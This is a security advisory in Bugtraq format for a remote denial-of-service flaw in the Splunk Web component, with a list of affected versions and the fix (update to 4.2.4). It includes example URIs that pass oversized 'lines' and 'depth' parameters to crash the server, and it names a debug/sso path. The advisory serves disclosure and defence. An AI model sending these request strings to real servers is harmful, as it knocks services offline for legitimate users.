Splunk Web component Remote Denial of Service Vulnerability

Bugtraq ID:	50298
Class:	Boundary Condition Error
CVE:
Remote:	Yes
Local:	No
Published:	Oct 20 2011 12:00AM
Updated:	Oct 20 2011 12:00AM
Credit:	Filip Palian
Vulnerable:	Splunk Splunk 4.1.6 Splunk Splunk 4.1.3 Splunk Splunk 4.1.2 Splunk Splunk 4.1.1 Splunk Splunk 4.0.11 Splunk Splunk 4.0.10 Splunk Splunk 4.0.9 Splunk Splunk 4.0.8 Splunk Splunk 4.0.7 Splunk Splunk 4.0.6 Splunk Splunk 4.0.5 Splunk Splunk 4.0.4 Splunk Splunk 4.0.3 Splunk Splunk 4.0.2 Splunk Splunk 4.0.1 Splunk Splunk 4.0 Splunk Splunk 4.2.3 Splunk Splunk 4.2.2 Splunk Splunk 4.2 Splunk Splunk 4.1.5 Splunk Splunk 4.1.4 Splunk Splunk 4.1 Splunk Splunk 4
Not Vulnerable:	Splunk Splunk 4.2.4

Splunk Web component Remote Denial of Service Vulnerability

Splunk is prone to a remote denial-of-service vulnerability.

Exploiting this issue will exhaust system resources and cause the application to crash, denying service to legitimate users.

Splunk Web component Remote Denial of Service Vulnerability

The following example URIs are available:

http://www.example.com/en-US/prototype/segmentation_performance?lines=999&depth=99999999&segment=foo&element=span&attribute=class&segmentation=nested

http://www.example.com/en-US/prototype/segmentation_performance?lines=99999999999999999999999999999999999999&depth=99999999999999999999999999999999999999&segment=foo&element=span&attribute=class&segmentation=nested
https://localhost/en-US/debug/sso

Splunk Web component Remote Denial of Service Vulnerability

Solution:
Updates are available. Please see the references for more information.

Splunk Web component Remote Denial of Service Vulnerability

References:

• Splunk Homepage (Splunk)
  
• Splunk version 4.2.4 addresses two vulnerabilities (Splunk)